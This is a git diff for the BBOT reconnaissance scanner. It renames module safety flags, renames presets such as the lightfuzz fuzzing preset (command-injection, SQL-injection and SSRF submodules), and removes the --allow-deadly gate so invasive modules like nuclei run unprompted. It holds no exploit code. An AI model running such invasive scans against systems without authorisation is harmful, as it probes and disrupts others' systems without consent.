{"include_sitemap": False, "include_allow": True, "include_disallow": True} diff --git a/bbot/modules/securitytrails.py b/bbot/modules/securitytrails.py index b92ac07dc1..7abe6450d3 100644 --- a/bbot/modules/securitytrails.py +++ b/bbot/modules/securitytrails.py @@ -4,7 +4,7 @@ class securitytrails(subdomain_enum_apikey): watched_events = ["DNS_NAME"] produced_events = ["DNS_NAME"] - flags = ["subdomain-enum", "passive", "safe"] + flags = ["subdomain-enum", "passive"] meta = { "description": "Query the SecurityTrails API for subdomains", "created_date": "2022-07-03", diff --git a/bbot/modules/securitytxt.py b/bbot/modules/securitytxt.py index d7e26c0b5f..63de690f59 100644 --- a/bbot/modules/securitytxt.py +++ b/bbot/modules/securitytxt.py @@ -58,7 +58,7 @@ class securitytxt(BaseModule): watched_events = ["DNS_NAME"] produced_events = ["EMAIL_ADDRESS", "URL_UNVERIFIED"] - flags = ["subdomain-enum", "cloud-enum", "active", "web-basic", "safe"] + flags = ["subdomain-enum", "cloud-enum", "active", "web"] meta = { "description": "Check for security.txt content", "author": "@colin-stubbs", diff --git a/bbot/modules/shodan_dns.py b/bbot/modules/shodan_dns.py index 2ad0bc5057..e4fe1d6ea4 100644 --- a/bbot/modules/shodan_dns.py +++ b/bbot/modules/shodan_dns.py @@ -4,7 +4,7 @@ class shodan_dns(shodan): watched_events = ["DNS_NAME"] produced_events = ["DNS_NAME"] - flags = ["subdomain-enum", "passive", "safe"] + flags = ["subdomain-enum", "passive"] meta = { "description": "Query Shodan for subdomains", "created_date": "2022-07-03", diff --git a/bbot/modules/shodan_enterprise.py b/bbot/modules/shodan_enterprise.py index f3723efb7f..74fb8eabfe 100644 --- a/bbot/modules/shodan_enterprise.py +++ b/bbot/modules/shodan_enterprise.py @@ -4,7 +4,7 @@ class shodan_enterprise(BaseModule): watched_events = ["IP_ADDRESS"] produced_events = ["OPEN_TCP_PORT", "TECHNOLOGY", "OPEN_UDP_PORT", "FINDING"] - flags = ["passive", "safe"] + flags = ["passive"] meta = { "created_date": "2026-01-27", "author": "@Control-Punk-Delete", diff --git a/bbot/modules/shodan_idb.py b/bbot/modules/shodan_idb.py index 142ede3157..4bad9cb6e5 100644 --- a/bbot/modules/shodan_idb.py +++ b/bbot/modules/shodan_idb.py @@ -41,7 +41,7 @@ class shodan_idb(BaseModule): watched_events = ["IP_ADDRESS", "DNS_NAME"] produced_events = ["TECHNOLOGY", "FINDING", "OPEN_TCP_PORT", "DNS_NAME"] - flags = ["passive", "safe", "portscan", "subdomain-enum"] + flags = ["passive", "portscan", "subdomain-enum"] meta = { "description": "Query Shodan's InternetDB for open ports, hostnames, technologies, and vulnerabilities", "created_date": "2023-12-22", diff --git a/bbot/modules/sitedossier.py b/bbot/modules/sitedossier.py index 187aae1941..128e9198be 100644 --- a/bbot/modules/sitedossier.py +++ b/bbot/modules/sitedossier.py @@ -2,7 +2,7 @@ class sitedossier(subdomain_enum): - flags = ["subdomain-enum", "passive", "safe"] + flags = ["subdomain-enum", "passive"] watched_events = ["DNS_NAME"] produced_events = ["DNS_NAME"] meta = { diff --git a/bbot/modules/skymem.py b/bbot/modules/skymem.py index 6f39a6c0d8..6987e1e19d 100644 --- a/bbot/modules/skymem.py +++ b/bbot/modules/skymem.py @@ -6,7 +6,7 @@ class skymem(emailformat): watched_events = ["DNS_NAME"] produced_events = ["EMAIL_ADDRESS"] - flags = ["passive", "email-enum", "safe"] + flags = ["passive", "email-enum"] meta = { "description": "Query skymem.info for email addresses", "created_date": "2022-07-11", diff --git a/bbot/modules/smuggler.py b/bbot/modules/smuggler.py index 67fcdd3d53..ff13ea494c 100644 --- a/bbot/modules/smuggler.py +++ b/bbot/modules/smuggler.py @@ -11,7 +11,7 @@ class smuggler(BaseModule): watched_events = ["URL"] produced_events = ["FINDING"] - flags = ["active", "aggressive", "slow", "web-thorough"] + flags = ["active", "noisy", "invasive", "slow", "web-heavy"] meta = {"description": "Check for HTTP smuggling", "created_date": "2022-07-06", "author": "@liquidsec"} in_scope_only = True diff --git a/bbot/modules/social.py b/bbot/modules/social.py index fb46dd3870..fd05452943 100644 --- a/bbot/modules/social.py +++ b/bbot/modules/social.py @@ -10,7 +10,7 @@ class social(BaseModule): "created_date": "2023-03-28", "author": "@TheTechromancer", } - flags = ["passive", "safe", "social-enum"] + flags = ["passive", "social-enum"] # platform name : (regex, case_sensitive) social_media_platforms = { diff --git a/bbot/modules/sslcert.py b/bbot/modules/sslcert.py index d135e9b4ba..965bad8d19 100644 --- a/bbot/modules/sslcert.py +++ b/bbot/modules/sslcert.py @@ -11,7 +11,7 @@ class sslcert(BaseModule): watched_events = ["OPEN_TCP_PORT"] produced_events = ["DNS_NAME", "EMAIL_ADDRESS"] - flags = ["affiliates", "subdomain-enum", "email-enum", "active", "safe", "web-basic"] + flags = ["affiliates", "subdomain-enum", "email-enum", "active", "web"] meta = { "description": "Visit open ports and retrieve SSL certificates", "created_date": "2022-03-30", diff --git a/bbot/modules/subdomaincenter.py b/bbot/modules/subdomaincenter.py index 614be03ef8..e025c31bb7 100644 --- a/bbot/modules/subdomaincenter.py +++ b/bbot/modules/subdomaincenter.py @@ -2,7 +2,7 @@ class subdomaincenter(subdomain_enum): - flags = ["subdomain-enum", "passive", "safe"] + flags = ["subdomain-enum", "passive"] watched_events = ["DNS_NAME"] produced_events = ["DNS_NAME"] meta = { diff --git a/bbot/modules/subdomainradar.py b/bbot/modules/subdomainradar.py index e5bb2c7571..a3f7981afe 100644 --- a/bbot/modules/subdomainradar.py +++ b/bbot/modules/subdomainradar.py @@ -7,7 +7,7 @@ class SubdomainRadar(subdomain_enum_apikey): watched_events = ["DNS_NAME"] produced_events = ["DNS_NAME"] - flags = ["subdomain-enum", "passive", "safe"] + flags = ["subdomain-enum", "passive"] meta = { "description": "Query the Subdomain API for subdomains", "created_date": "2022-07-08", diff --git a/bbot/modules/telerik.py b/bbot/modules/telerik.py index 19ee08f5bf..6636235f55 100644 --- a/bbot/modules/telerik.py +++ b/bbot/modules/telerik.py @@ -21,7 +21,7 @@ class telerik(BaseModule): watched_events = ["URL", "HTTP_RESPONSE"] produced_events = ["FINDING"] - flags = ["active", "aggressive", "web-thorough"] + flags = ["active", "noisy", "invasive", "web-heavy"] meta = { "description": "Scan for critical Telerik vulnerabilities", "created_date": "2022-04-10", diff --git a/bbot/modules/templates/bucket.py b/bbot/modules/templates/bucket.py index be612aa3dc..80a5c71b85 100644 --- a/bbot/modules/templates/bucket.py +++ b/bbot/modules/templates/bucket.py @@ -7,7 +7,7 @@ class bucket_template(BaseModule): watched_events = ["DNS_NAME", "STORAGE_BUCKET"] produced_events = ["STORAGE_BUCKET", "FINDING"] - flags = ["active", "safe", "cloud-enum", "web-basic"] + flags = ["active", "cloud-enum", "web"] options = {"permutations": False} options_desc = { "permutations": "Whether to try permutations", diff --git a/bbot/modules/templates/subdomain_enum.py b/bbot/modules/templates/subdomain_enum.py index 49ae38b14c..3360978699 100644 --- a/bbot/modules/templates/subdomain_enum.py +++ b/bbot/modules/templates/subdomain_enum.py @@ -9,7 +9,7 @@ class subdomain_enum(BaseModule): watched_events = ["DNS_NAME"] produced_events = ["DNS_NAME"] - flags = ["subdomain-enum", "passive", "safe"] + flags = ["subdomain-enum", "passive"] meta = {"description": "Query an API for subdomains"} base_url = "https://api.example.com" @@ -198,7 +198,7 @@ class subdomain_enum_apikey(subdomain_enum): watched_events = ["DNS_NAME"] produced_events = ["DNS_NAME"] - flags = ["subdomain-enum", "passive", "safe"] + flags = ["subdomain-enum", "passive"] meta = {"description": "Query API for subdomains", "auth_required": True} options = {"api_key": ""} options_desc = {"api_key": "API key"} diff --git a/bbot/modules/trajan.py b/bbot/modules/trajan.py index 40d71936c2..7972811846 100644 --- a/bbot/modules/trajan.py +++ b/bbot/modules/trajan.py @@ -7,7 +7,7 @@ class trajan(BaseModule): watched_events = ["CODE_REPOSITORY", "URL_UNVERIFIED", "TECHNOLOGY"] produced_events = ["FINDING"] - flags = ["passive", "safe", "code-enum"] + flags = ["passive", "code-enum"] meta = { "description": "Scans GitHub, GitLab, Azure DevOps, Jenkins, and JFrog for misconfigurations using Praetorian's Trajan tool", "created_date": "2026-04-11", diff --git a/bbot/modules/trickest.py b/bbot/modules/trickest.py index 246fdcfdec..7e6e6be278 100644 --- a/bbot/modules/trickest.py +++ b/bbot/modules/trickest.py @@ -4,7 +4,7 @@ class Trickest(subdomain_enum_apikey): watched_events = ["DNS_NAME"] produced_events = ["DNS_NAME"] - flags = ["affiliates", "subdomain-enum", "passive", "safe"] + flags = ["affiliates", "subdomain-enum", "passive"] meta = { "description": "Query Trickest's API for subdomains", "author": "@amiremami", diff --git a/bbot/modules/trufflehog.py b/bbot/modules/trufflehog.py index 6cc7c6e92b..e211c528c3 100644 --- a/bbot/modules/trufflehog.py +++ b/bbot/modules/trufflehog.py @@ -6,7 +6,7 @@ class trufflehog(BaseModule): watched_events = ["CODE_REPOSITORY", "FILESYSTEM", "HTTP_RESPONSE", "RAW_TEXT"] produced_events = ["FINDING"] - flags = ["passive", "safe", "code-enum"] + flags = ["passive", "code-enum"] meta = { "description": "TruffleHog is a tool for finding credentials", "created_date": "2024-03-12", diff --git a/bbot/modules/url_manipulation.py b/bbot/modules/url_manipulation.py index b4b61783b3..0e8a9ab25a 100644 --- a/bbot/modules/url_manipulation.py +++ b/bbot/modules/url_manipulation.py @@ -5,7 +5,7 @@ class url_manipulation(BaseModule): watched_events = ["URL"] produced_events = ["FINDING"] - flags = ["active", "aggressive", "web-thorough"] + flags = ["active", "noisy", "web-heavy"] meta = { "description": "Attempt to identify URL parsing/routing based vulnerabilities", "created_date": "2022-09-27", diff --git a/bbot/modules/urlscan.py b/bbot/modules/urlscan.py index 5c7c78f478..1df82cad7c 100644 --- a/bbot/modules/urlscan.py +++ b/bbot/modules/urlscan.py @@ -2,7 +2,7 @@ class urlscan(subdomain_enum): - flags = ["subdomain-enum", "passive", "safe"] + flags = ["subdomain-enum", "passive"] watched_events = ["DNS_NAME"] produced_events = ["DNS_NAME", "URL_UNVERIFIED"] meta = { diff --git a/bbot/modules/viewdns.py b/bbot/modules/viewdns.py index 7a60b721ba..11e558d1cf 100644 --- a/bbot/modules/viewdns.py +++ b/bbot/modules/viewdns.py @@ -10,7 +10,7 @@ class viewdns(BaseModule): watched_events = ["DNS_NAME"] produced_events = ["DNS_NAME"] - flags = ["affiliates", "passive", "safe"] + flags = ["affiliates", "passive"] meta = { "description": "Query viewdns.info's reverse whois for related domains", "created_date": "2022-07-04", diff --git a/bbot/modules/virustotal.py b/bbot/modules/virustotal.py index b932419450..a480ba029b 100644 --- a/bbot/modules/virustotal.py +++ b/bbot/modules/virustotal.py @@ -4,7 +4,7 @@ class virustotal(subdomain_enum_apikey): watched_events = ["DNS_NAME"] produced_events = ["DNS_NAME"] - flags = ["subdomain-enum", "passive", "safe"] + flags = ["subdomain-enum", "passive"] meta = { "description": "Query VirusTotal's API for subdomains", "created_date": "2022-08-25", diff --git a/bbot/modules/wafw00f.py b/bbot/modules/wafw00f.py index aa6f14df8c..4cdc010956 100644 --- a/bbot/modules/wafw00f.py +++ b/bbot/modules/wafw00f.py @@ -15,7 +15,7 @@ class wafw00f(BaseModule): watched_events = ["URL"] produced_events = ["WAF"] - flags = ["active", "aggressive"] + flags = ["active", "noisy"] meta = { "description": "Web Application Firewall Fingerprinting Tool", "created_date": "2023-02-15", diff --git a/bbot/modules/wayback.py b/bbot/modules/wayback.py index fbb30da7a9..5ee17bd5cd 100644 --- a/bbot/modules/wayback.py +++ b/bbot/modules/wayback.py @@ -4,7 +4,7 @@ class wayback(subdomain_enum): - flags = ["passive", "subdomain-enum", "safe"] + flags = ["passive", "subdomain-enum"] watched_events = ["DNS_NAME"] produced_events = ["URL_UNVERIFIED", "DNS_NAME"] meta = { diff --git a/bbot/modules/wpscan.py b/bbot/modules/wpscan.py index 3931c45af6..1b70cd2a15 100644 --- a/bbot/modules/wpscan.py +++ b/bbot/modules/wpscan.py @@ -5,7 +5,7 @@ class wpscan(BaseModule): watched_events = ["HTTP_RESPONSE", "TECHNOLOGY"] produced_events = ["URL_UNVERIFIED", "FINDING", "TECHNOLOGY"] - flags = ["active", "aggressive"] + flags = ["active", "noisy"] meta = { "description": "Wordpress security scanner. Highly recommended to use an API key for better results.", "created_date": "2024-05-29", diff --git a/bbot/presets/baddns-intense.yml b/bbot/presets/baddns-heavy.yml similarity index 100% rename from bbot/presets/baddns-intense.yml rename to bbot/presets/baddns-heavy.yml diff --git a/bbot/presets/kitchen-sink.yml b/bbot/presets/kitchen-sink.yml index c01039099e..59b0db1072 100644 --- a/bbot/presets/kitchen-sink.yml +++ b/bbot/presets/kitchen-sink.yml @@ -6,11 +6,11 @@ include: - code-enum - email-enum - spider - - web-basic + - web - paramminer - dirbust-light - web-screenshots - - baddns-intense + - baddns-heavy config: modules: diff --git a/bbot/presets/nuclei/nuclei-intense.yml b/bbot/presets/nuclei/nuclei-heavy.yml similarity index 72% rename from bbot/presets/nuclei/nuclei-intense.yml rename to bbot/presets/nuclei/nuclei-heavy.yml index 27f833c387..3c3f20c666 100644 --- a/bbot/presets/nuclei/nuclei-intense.yml +++ b/bbot/presets/nuclei/nuclei-heavy.yml @@ -18,7 +18,7 @@ config: conditions: - | {% if config.web.spider_distance == 0 and config.modules.nuclei.directory_only == False %} - {{ warn("The 'nuclei-intense' preset turns the 'directory_only' limitation off on the nuclei module. To make the best use of this, you may want to enable spidering with 'spider' or 'spider-intense' preset.") }} + {{ warn("The 'nuclei-heavy' preset turns the 'directory_only' limitation off on the nuclei module. To make the best use of this, you may want to enable spidering with 'spider' or 'spider-heavy' preset.") }} {% endif %} diff --git a/bbot/presets/spider-intense.yml b/bbot/presets/spider-heavy.yml similarity index 100% rename from bbot/presets/spider-intense.yml rename to bbot/presets/spider-heavy.yml diff --git a/bbot/presets/web-heavy.yml b/bbot/presets/web-heavy.yml new file mode 100644 index 0000000000..4918aeff58 --- /dev/null +++ b/bbot/presets/web-heavy.yml @@ -0,0 +1,8 @@ +description: Aggressive web scan + +include: + # include the web preset + - web + +flags: + - web-heavy diff --git a/bbot/presets/web-thorough.yml b/bbot/presets/web-thorough.yml deleted file mode 100644 index 0294614f76..0000000000 --- a/bbot/presets/web-thorough.yml +++ /dev/null @@ -1,8 +0,0 @@ -description: Aggressive web scan - -include: - # include the web-basic preset - - web-basic - -flags: - - web-thorough diff --git a/bbot/presets/web-basic.yml b/bbot/presets/web.yml similarity index 82% rename from bbot/presets/web-basic.yml rename to bbot/presets/web.yml index 166d973e94..0341ba036a 100644 --- a/bbot/presets/web-basic.yml +++ b/bbot/presets/web.yml @@ -4,4 +4,4 @@ include: - iis-shortnames flags: - - web-basic + - web diff --git a/bbot/presets/web/lightfuzz-heavy.yml b/bbot/presets/web/lightfuzz-heavy.yml index 4096321aa6..3b708974bb 100644 --- a/bbot/presets/web/lightfuzz-heavy.yml +++ b/bbot/presets/web/lightfuzz-heavy.yml @@ -1,7 +1,7 @@ -description: Discover web parameters and lightly fuzz them for vulnerabilities, with more intense discovery techniques, including POST parameters, which are more invasive. Uses all lightfuzz submodules, and adds paramminer modules for parameter discovery. Avoids running against confirmed WAFs. +description: Discover web parameters and fuzz them for vulnerabilities, with more aggressive discovery techniques, including POST parameters. Uses all lightfuzz submodules, and adds paramminer modules for parameter discovery. Avoids running against confirmed WAFs. include: - - lightfuzz-medium + - lightfuzz flags: - web-paramminer diff --git a/bbot/presets/web/lightfuzz-light.yml b/bbot/presets/web/lightfuzz-light.yml index e562a5aa84..0292474185 100644 --- a/bbot/presets/web/lightfuzz-light.yml +++ b/bbot/presets/web/lightfuzz-light.yml @@ -17,5 +17,5 @@ config: conditions: - | {% if config.web.spider_distance == 0 %} - {{ warn("Lightfuzz works much better with spider enabled! Consider adding 'spider' or 'spider-intense' preset.") }} + {{ warn("Lightfuzz works much better with spider enabled! Consider adding 'spider' or 'spider-heavy' preset.") }} {% endif %} diff --git a/bbot/presets/web/lightfuzz-superheavy.yml b/bbot/presets/web/lightfuzz-max.yml similarity index 64% rename from bbot/presets/web/lightfuzz-superheavy.yml rename to bbot/presets/web/lightfuzz-max.yml index d662e4d046..3a5dea4111 100644 --- a/bbot/presets/web/lightfuzz-superheavy.yml +++ b/bbot/presets/web/lightfuzz-max.yml @@ -1,4 +1,4 @@ -description: Discover web parameters and lightly fuzz them for vulnerabilities, with the most intense discovery techniques, including POST parameters, which are more invasive. Uses all lightfuzz submodules, adds paramminer modules for parameter discovery, and tests each unique parameter-value instance individually. +description: Discover web parameters and fuzz them for vulnerabilities, with the most aggressive discovery techniques, including POST parameters. Uses all lightfuzz submodules, adds paramminer modules for parameter discovery, and tests each unique parameter-value instance individually. include: - lightfuzz-heavy diff --git a/bbot/presets/web/lightfuzz-medium.yml b/bbot/presets/web/lightfuzz-medium.yml deleted file mode 100644 index f55bdb1925..0000000000 --- a/bbot/presets/web/lightfuzz-medium.yml +++ /dev/null @@ -1,15 +0,0 @@ -description: Discover web parameters and lightly fuzz them for vulnerabilities. Uses all lightfuzz submodules, without some of the more intense discovery techniques. Does not send POST requests. This is the default lightfuzz preset; if you're not sure which one to use, this is a good starting point. Avoids running against confirmed WAFs. - -include: - - lightfuzz-light - -modules: - - badsecrets - - hunt - - reflected_parameters - -config: - modules: - lightfuzz: - enabled_submodules: [cmdi,crypto,path,serial,sqli,ssti,xss,esi,ssrf] - try_post_as_get: True diff --git a/bbot/presets/web/lightfuzz-xss.yml b/bbot/presets/web/lightfuzz-xss.yml index 8eff0d0cc3..2a43bc039b 100644 --- a/bbot/presets/web/lightfuzz-xss.yml +++ b/bbot/presets/web/lightfuzz-xss.yml @@ -18,5 +18,5 @@ config: conditions: - | {% if config.web.spider_distance == 0 %} - {{ warn("The lightfuzz-xss preset works much better with spider enabled! Consider adding 'spider' or 'spider-intense' preset.") }} + {{ warn("The lightfuzz-xss preset works much better with spider enabled! Consider adding 'spider' or 'spider-heavy' preset.") }} {% endif %} diff --git a/bbot/presets/web/lightfuzz.yml b/bbot/presets/web/lightfuzz.yml new file mode 100644 index 0000000000..e2c9683b16 --- /dev/null +++ b/bbot/presets/web/lightfuzz.yml @@ -0,0 +1,15 @@ +description: Discover web parameters and fuzz them for vulnerabilities. Uses all lightfuzz submodules. Does not send POST requests. This is the default lightfuzz preset; if you're not sure which one to use, this is a good starting point. Avoids running against confirmed WAFs. + +include: + - lightfuzz-light + +modules: + - badsecrets + - hunt + - reflected_parameters + +config: + modules: + lightfuzz: + enabled_submodules: [cmdi,crypto,path,serial,sqli,ssti,xss,esi,ssrf] + try_post_as_get: True diff --git a/bbot/presets/web/paramminer.yml b/bbot/presets/web/paramminer.yml index 3057a1b3a9..634e883742 100644 --- a/bbot/presets/web/paramminer.yml +++ b/bbot/presets/web/paramminer.yml @@ -11,5 +11,5 @@ modules: conditions: - | {% if config.web.spider_distance == 0 %} - {{ warn("The paramminer preset works much better with spider enabled! Consider adding 'spider' or 'spider-intense' preset.") }} + {{ warn("The paramminer preset works much better with spider enabled! Consider adding 'spider' or 'spider-heavy' preset.") }} {% endif %} \ No newline at end of file diff --git a/bbot/scanner/preset/args.py b/bbot/scanner/preset/args.py index 2d0dbf0cf4..a138121569 100644 --- a/bbot/scanner/preset/args.py +++ b/bbot/scanner/preset/args.py @@ -41,7 +41,7 @@ class BBOTArgs: ( "Subdomains + basic web scan", "A basic web scan includes robots.txt, storage buckets, IIS shortnames, and other non-intrusive web modules", - "bbot -t evilcorp.com -p subdomain-enum web-basic", + "bbot -t evilcorp.com -p subdomain-enum web", ), ( "Web spider", @@ -290,10 +290,9 @@ def create_parser(self, *args, **kwargs): "--exclude-flags", nargs="+", default=[], - help="Disable modules with these flags. (e.g. -ef aggressive)", + help="Disable modules with these flags. (e.g. -ef noisy)", metavar="FLAG", ) - modules.add_argument("--allow-deadly", action="store_true", help="Enable the use of highly aggressive modules") scan = p.add_argument_group(title="Scan") scan.add_argument("-n", "--name", help="Name of scan (default: random)", metavar="SCAN_NAME") diff --git a/bbot/test/benchmarks/test_event_memory_benchmarks.py b/bbot/test/benchmarks/test_event_memory_benchmarks.py index 8501728782..6bed9be520 100644 --- a/bbot/test/benchmarks/test_event_memory_benchmarks.py +++ b/bbot/test/benchmarks/test_event_memory_benchmarks.py @@ -29,7 +29,7 @@ def setup_method(self): "cdn", "open-port", "status-200", - "http-title-example", + "web", "dir", "endpoint", ] diff --git a/bbot/test/test_step_1/test_cli.py b/bbot/test/test_step_1/test_cli.py index d8024c66a2..a840fbbdea 100644 --- a/bbot/test/test_step_1/test_cli.py +++ b/bbot/test/test_step_1/test_cli.py @@ -251,8 +251,7 @@ async def test_cli_args(monkeypatch, caplog, capsys, clean_default_config): result = await cli._main() out, err = capsys.readouterr() assert result is None - assert "| safe " in out - assert "| Non-intrusive, safe to run " in out + assert "| noisy " in out assert "| active " in out assert "| passive " in out @@ -266,11 +265,11 @@ async def test_cli_args(monkeypatch, caplog, capsys, clean_default_config): assert "| passive " not in out # list multiple flags - monkeypatch.setattr("sys.argv", ["bbot", "-f", "active", "safe", "--list-flags"]) + monkeypatch.setattr("sys.argv", ["bbot", "-f", "active", "noisy", "--list-flags"]) result = await cli._main() out, err = capsys.readouterr() assert result is None - assert "| safe " in out + assert "| noisy " in out assert "| active " in out assert "| passive " not in out @@ -402,18 +401,10 @@ async def test_cli_args(monkeypatch, caplog, capsys, clean_default_config): result = await cli._main() assert result is True - # deadly modules - caplog.clear() - assert not caplog.text + # invasive modules should run without a gate (just warnings) monkeypatch.setattr("sys.argv", ["bbot", "-m", "nuclei"]) result = await cli._main() - assert result is False, "-m nuclei ran without --allow-deadly" - assert "Please specify --allow-deadly to continue" in caplog.text - - # --allow-deadly - monkeypatch.setattr("sys.argv", ["bbot", "-m", "nuclei", "--allow-deadly"]) - result = await cli._main() - assert result is True, "-m nuclei failed to run with --allow-deadly" + assert result is True, "-m nuclei should run without any special flags" # install all deps monkeypatch.setattr("sys.argv", ["bbot", "--install-all-deps"]) diff --git a/bbot/test/test_step_1/test_modules_basic.py b/bbot/test/test_step_1/test_modules_basic.py index ca9cb80aac..add1ec46c5 100644 --- a/bbot/test/test_step_1/test_modules_basic.py +++ b/bbot/test/test_step_1/test_modules_basic.py @@ -179,11 +179,8 @@ async def test_modules_basic_checks(events, httpx_mock): assert ("active" in flags and "passive" not in flags) or ("active" not in flags and "passive" in flags), ( f'module "{module_name}" must have either "active" or "passive" flag' ) - assert ("safe" in flags and "aggressive" not in flags) or ( - "safe" not in flags and "aggressive" in flags - ), f'module "{module_name}" must have either "safe" or "aggressive" flag' - assert not ("web-basic" in flags and "web-thorough" in flags), ( - f'module "{module_name}" should have either "web-basic" or "web-thorough" flags, not both' + assert not ("web" in flags and "web-heavy" in flags), ( + f'module "{module_name}" should have either "web" or "web-heavy" flags, not both' ) meta = preloaded.get("meta", {}) # make sure every module has a description diff --git a/bbot/test/test_step_1/test_presets.py b/bbot/test/test_step_1/test_presets.py index 58ca39c664..46e1bcffff 100644 --- a/bbot/test/test_step_1/test_presets.py +++ b/bbot/test/test_step_1/test_presets.py @@ -78,7 +78,7 @@ async def test_preset_yaml(clean_default_config): output_modules=["json"], exclude_modules=["ipneighbor"], flags=["subdomain-enum"], - require_flags=["safe"], + require_flags=["subdomain-enum"], exclude_flags=["slow"], verbose=False, debug=False, @@ -151,7 +151,7 @@ def test_preset_cache(): - subdomain-enum exclude_flags: - - aggressive + - noisy - slow """ with open(preset_file, "w") as f: @@ -159,7 +159,7 @@ def test_preset_cache(): preset = Preset.from_yaml_file(preset_file) assert "subdomain-enum" in preset.flags - assert "aggressive" in preset.exclude_flags + assert "noisy" in preset.exclude_flags assert "slow" in preset.exclude_flags from bbot.scanner.preset.preset import _preset_cache @@ -1086,15 +1086,13 @@ def get_module_flags(p): assert "subdomain-enum" in dnsbrute_flags assert "active" in dnsbrute_flags assert "passive" not in dnsbrute_flags - assert "aggressive" in dnsbrute_flags - assert "safe" not in dnsbrute_flags + assert "noisy" in dnsbrute_flags assert "dnsbrute" in [x[0] for x in module_flags] assert "certspotter" in [x[0] for x in module_flags] assert "c99" in [x[0] for x in module_flags] assert any("passive" in flags for module, flags in module_flags) assert any("active" in flags for module, flags in module_flags) - assert any("safe" in flags for module, flags in module_flags) - assert any("aggressive" in flags for module, flags in module_flags) + assert any("noisy" in flags for module, flags in module_flags) # enable by flag, one required flag preset = Preset(flags=["subdomain-enum"], require_flags=["passive"]).bake() @@ -1104,8 +1102,6 @@ def get_module_flags(p): assert "httpx" not in [x[0] for x in module_flags] assert all("passive" in flags for module, flags in module_flags) assert not any("active" in flags for module, flags in module_flags) - assert any("safe" in flags for module, flags in module_flags) - assert any("aggressive" in flags for module, flags in module_flags) # enable by flag, one excluded flag preset = Preset(flags=["subdomain-enum"], exclude_flags=["active"]).bake() @@ -1115,8 +1111,6 @@ def get_module_flags(p): assert "httpx" not in [x[0] for x in module_flags] assert all("passive" in flags for module, flags in module_flags) assert not any("active" in flags for module, flags in module_flags) - assert any("safe" in flags for module, flags in module_flags) - assert any("aggressive" in flags for module, flags in module_flags) # enable by flag, one excluded module preset = Preset(flags=["subdomain-enum"], exclude_modules=["dnsbrute"]).bake() @@ -1126,28 +1120,26 @@ def get_module_flags(p): assert "httpx" in [x[0] for x in module_flags] assert any("passive" in flags for module, flags in module_flags) assert any("active" in flags for module, flags in module_flags) - assert any("safe" in flags for module, flags in module_flags) - assert any("aggressive" in flags for module, flags in module_flags) - # enable by flag, multiple required flags - preset = Preset(flags=["subdomain-enum"], require_flags=["safe", "passive"]).bake() - assert len(preset.modules) > 25 + # enable by flag, multiple required flags (exclude noisy active modules) + preset = Preset(flags=["subdomain-enum"], require_flags=["passive"], exclude_flags=["noisy"]).bake() + assert len(preset.modules) > 20 module_flags = list(get_module_flags(preset)) assert "dnsbrute" not in [x[0] for x in module_flags] - assert all("passive" in flags and "safe" in flags for module, flags in module_flags) - assert all("active" not in flags and "aggressive" not in flags for module, flags in module_flags) + assert all("passive" in flags for module, flags in module_flags) + assert all("active" not in flags and "noisy" not in flags for module, flags in module_flags) assert not any("active" in flags for module, flags in module_flags) - assert not any("aggressive" in flags for module, flags in module_flags) + assert not any("noisy" in flags for module, flags in module_flags) # enable by flag, multiple excluded flags - preset = Preset(flags=["subdomain-enum"], exclude_flags=["aggressive", "active"]).bake() - assert len(preset.modules) > 25 + preset = Preset(flags=["subdomain-enum"], exclude_flags=["noisy", "active"]).bake() + assert len(preset.modules) > 20 module_flags = list(get_module_flags(preset)) assert "dnsbrute" not in [x[0] for x in module_flags] - assert all("passive" in flags and "safe" in flags for module, flags in module_flags) - assert all("active" not in flags and "aggressive" not in flags for module, flags in module_flags) + assert all("passive" in flags for module, flags in module_flags) + assert all("active" not in flags and "noisy" not in flags for module, flags in module_flags) assert not any("active" in flags for module, flags in module_flags) - assert not any("aggressive" in flags for module, flags in module_flags) + assert not any("noisy" in flags for module, flags in module_flags) # enable by flag, multiple excluded modules preset = Preset(flags=["subdomain-enum"], exclude_modules=["dnsbrute", "c99"]).bake() @@ -1158,8 +1150,6 @@ def get_module_flags(p): assert "c99" not in [x[0] for x in module_flags] assert any("passive" in flags for module, flags in module_flags) assert any("active" in flags for module, flags in module_flags) - assert any("safe" in flags for module, flags in module_flags) - assert any("aggressive" in flags for module, flags in module_flags) @pytest.mark.asyncio diff --git a/bbot/test/test_step_1/test_python_api.py b/bbot/test/test_step_1/test_python_api.py index e7063947f3..0e0bb4c690 100644 --- a/bbot/test/test_step_1/test_python_api.py +++ b/bbot/test/test_step_1/test_python_api.py @@ -130,16 +130,16 @@ def test_python_api_validation(): assert str(error.value) == 'Could not find module "asdf". Did you mean "asn"?' # invalid flag with pytest.raises(ValidationError) as error: - Scanner(flags=["asdf"]) - assert str(error.value) == 'Could not find flag "asdf". Did you mean "safe"?' + Scanner(flags=["activ"]) + assert str(error.value) == 'Could not find flag "activ". Did you mean "active"?' # invalid required flag with pytest.raises(ValidationError) as error: - Scanner(require_flags=["asdf"]) - assert str(error.value) == 'Could not find flag "asdf". Did you mean "safe"?' + Scanner(require_flags=["activ"]) + assert str(error.value) == 'Could not find flag "activ". Did you mean "active"?' # invalid excluded flag with pytest.raises(ValidationError) as error: - Scanner(exclude_flags=["asdf"]) - assert str(error.value) == 'Could not find flag "asdf". Did you mean "safe"?' + Scanner(exclude_flags=["activ"]) + assert str(error.value) == 'Could not find flag "activ". Did you mean "active"?' # output module as normal module with pytest.raises(ValidationError) as error: Scanner(modules=["json"]) diff --git a/docs/data/chord_graph/entities.json b/docs/data/chord_graph/entities.json index b712d648f6..7a0426345c 100644 --- a/docs/data/chord_graph/entities.json +++ b/docs/data/chord_graph/entities.json @@ -19,8 +19,7 @@ "parent": 88888888, "consumes": [], "produces": [ - 11, - 134 + 11 ] }, { @@ -28,7 +27,7 @@ "name": "AZURE_TENANT", "parent": 88888888, "consumes": [ - 140 + 139 ], "produces": [ 18 @@ -40,22 +39,23 @@ "parent": 88888888, "consumes": [ 64, + 81, 82, - 83, - 87, - 90, - 126, + 86, + 89, + 125, + 145, 147 ], "produces": [ 44, 65, - 81, + 80, + 83, 84, - 85, + 87, 88, - 89, - 125 + 124 ] }, { @@ -94,34 +94,34 @@ 63, 69, 79, - 84, - 86, - 94, - 98, - 106, - 110, - 112, + 83, + 85, + 93, + 97, + 105, + 109, + 111, + 114, 115, - 116, + 119, 120, - 121, - 123, - 127, + 122, + 126, + 130, 131, 132, - 133, + 134, 135, 136, - 137, - 140, + 139, + 141, 142, 143, - 144, 146, 150, - 153, - 154, - 156 + 151, + 152, + 154 ], "produces": [ 6, @@ -144,29 +144,28 @@ 61, 62, 79, - 94, - 98, - 106, 